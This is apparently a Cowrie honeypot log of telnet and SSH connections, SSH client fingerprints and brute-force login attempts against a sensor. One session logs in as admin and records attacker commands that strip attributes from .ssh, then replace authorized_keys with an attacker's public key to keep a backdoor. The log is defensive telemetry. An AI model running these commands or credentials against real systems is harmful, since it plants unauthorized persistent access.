{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39306,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0964b591231","protocol":"telnet","message":"New connection: 65.60.27.33:39306 (10.17.0.5:23) [session: f0964b591231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:39.801669Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40842,"dst_ip":"10.17.0.5","dst_port":23,"session":"a484c46984b4","protocol":"telnet","message":"New connection: 65.60.27.33:40842 (10.17.0.5:23) [session: a484c46984b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:41.195779Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48488,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d0b29c130e","protocol":"telnet","message":"New connection: 165.232.131.181:48488 (10.17.0.5:23) [session: 55d0b29c130e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:41.923965Z"}
{"eventid":"cowrie.session.closed","duration":36.50981092453003,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:43.740770Z","src_ip":"65.60.27.33","session":"f06f34a86c54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.29561495780945,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:51.138397Z","src_ip":"38.54.119.93","session":"07884b769491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.39623188972473,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:51.717452Z","src_ip":"62.210.97.77","session":"bbb8b3fe01b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.496049642562866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:52.883688Z","src_ip":"62.210.97.77","session":"781ffb192d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29676175117493,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:53.134985Z","src_ip":"62.210.97.77","session":"49d9a3e71a78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":57598,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ce670d6b6e1","protocol":"ssh","message":"New connection: 181.234.2.36:57598 (159.203.135.109:22) [session: 9ce670d6b6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:56.861687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:56.866957Z","src_ip":"181.234.2.36","session":"9ce670d6b6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:56.960169Z","src_ip":"181.234.2.36","session":"9ce670d6b6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:57.350355Z","src_ip":"181.234.2.36","session":"9ce670d6b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:58.443714Z","src_ip":"181.234.2.36","session":"9ce670d6b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.15159749984741,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:58.782634Z","src_ip":"165.232.131.181","session":"38a341dce91f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45316,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3aa82ab6277","protocol":"telnet","message":"New connection: 62.210.97.77:45316 (10.17.0.5:23) [session: b3aa82ab6277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:00.649355Z"}
{"eventid":"cowrie.session.closed","duration":36.21109461784363,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:00.846549Z","src_ip":"62.210.97.77","session":"2b222d0ea05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.38152098655701,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:01.033226Z","src_ip":"165.232.131.181","session":"6b3dad945985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":58942,"dst_ip":"10.17.0.5","dst_port":22,"session":"b931df8ea4f4","protocol":"ssh","message":"New connection: 172.185.24.228:58942 (10.17.0.5:22) [session: b931df8ea4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:05.918623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:05.924670Z","src_ip":"172.185.24.228","session":"b931df8ea4f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:06.004254Z","src_ip":"172.185.24.228","session":"b931df8ea4f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp","password":"admin","message":"login attempt [wp/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:06.350512Z","src_ip":"172.185.24.228","session":"b931df8ea4f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:07.432863Z","src_ip":"172.185.24.228","session":"b931df8ea4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7fd3a1ffaa","protocol":"telnet","message":"New connection: 62.210.97.77:57654 (10.17.0.5:23) [session: 4d7fd3a1ffaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:08.895354Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57662,"dst_ip":"10.17.0.5","dst_port":23,"session":"1efda53240da","protocol":"telnet","message":"New connection: 62.210.97.77:57662 (10.17.0.5:23) [session: 1efda53240da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:14.841734Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57670,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd36f3f8db5","protocol":"telnet","message":"New connection: 62.210.97.77:57670 (10.17.0.5:23) [session: 4bd36f3f8db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:17.012408Z"}
{"eventid":"cowrie.session.closed","duration":36.328463077545166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:17.524121Z","src_ip":"65.60.27.33","session":"a484c46984b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":41854,"dst_ip":"10.17.0.5","dst_port":23,"session":"08b50d86ba16","protocol":"telnet","message":"New connection: 172.58.210.74:41854 (10.17.0.5:23) [session: 08b50d86ba16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:19.951170Z"}
{"eventid":"cowrie.session.closed","duration":120.0024733543396,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:20.810604Z","src_ip":"188.66.52.72","session":"9c7d594253e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55532,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a9e57c06f46","protocol":"telnet","message":"New connection: 62.210.97.77:55532 (10.17.0.5:23) [session: 1a9e57c06f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:21.439315Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55538,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac51a336997","protocol":"telnet","message":"New connection: 62.210.97.77:55538 (10.17.0.5:23) [session: dac51a336997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:22.973078Z"}
{"eventid":"cowrie.session.closed","duration":44.983272552490234,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:24.784815Z","src_ip":"65.60.27.33","session":"f0964b591231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55552,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dfdf7a4ab0b","protocol":"telnet","message":"New connection: 62.210.97.77:55552 (10.17.0.5:23) [session: 7dfdf7a4ab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:24.951026Z"}
{"eventid":"cowrie.session.closed","duration":48.39484405517578,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:30.318706Z","src_ip":"165.232.131.181","session":"55d0b29c130e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60977005958557,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:35.258948Z","src_ip":"62.210.97.77","session":"b3aa82ab6277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54532,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf28a82ee4f","protocol":"telnet","message":"New connection: 62.210.97.77:54532 (10.17.0.5:23) [session: 0cf28a82ee4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:38.172644Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"808a09fcf195","protocol":"telnet","message":"New connection: 65.60.27.33:48290 (10.17.0.5:23) [session: 808a09fcf195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:38.505617Z"}
{"eventid":"cowrie.session.closed","duration":34.31048893928528,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:43.205710Z","src_ip":"62.210.97.77","session":"4d7fd3a1ffaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0341f392c54","protocol":"telnet","message":"New connection: 38.54.119.93:37286 (10.17.0.5:23) [session: d0341f392c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:43.663490Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44626,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fef347f9c26","protocol":"telnet","message":"New connection: 165.232.131.181:44626 (10.17.0.5:23) [session: 0fef347f9c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:46.628723Z"}
{"eventid":"cowrie.session.closed","duration":31.897830486297607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:46.739347Z","src_ip":"62.210.97.77","session":"1efda53240da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45320,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a26fed7a4d","protocol":"telnet","message":"New connection: 165.232.131.181:45320 (10.17.0.5:23) [session: c7a26fed7a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:48.626637Z"}
{"eventid":"cowrie.session.closed","duration":32.17512059211731,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:49.187408Z","src_ip":"62.210.97.77","session":"4bd36f3f8db5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":45854,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08c89736ed5","protocol":"telnet","message":"New connection: 192.211.53.160:45854 (159.203.135.109:23) [session: f08c89736ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:53.006887Z"}
{"eventid":"cowrie.session.closed","duration":31.379733324050903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:54.352616Z","src_ip":"62.210.97.77","session":"dac51a336997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":46452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e10fc300ecad","protocol":"telnet","message":"New connection: 192.211.53.160:46452 (159.203.135.109:23) [session: e10fc300ecad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:54.707981Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":46934,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d4f7073278","protocol":"ssh","message":"New connection: 181.234.2.36:46934 (159.203.135.109:22) [session: b6d4f7073278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:56.709798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:56.718441Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:56.815225Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123!@#","message":"login attempt [admin/Admin123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.219789Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.465293Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.468738Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.472791Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.568424Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28221654891968,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.721457Z","src_ip":"62.210.97.77","session":"1a9e57c06f46","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.797319Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.800986Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b442f0edeb5","protocol":"telnet","message":"New connection: 165.232.131.181:48392 (10.17.0.5:23) [session: 3b442f0edeb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.827927Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.899576Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.903984Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":47266,"dst_ip":"159.203.135.109","dst_port":22,"session":"de40b81e77e0","protocol":"ssh","message":"New connection: 181.234.2.36:47266 (159.203.135.109:22) [session: de40b81e77e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.985925Z"}
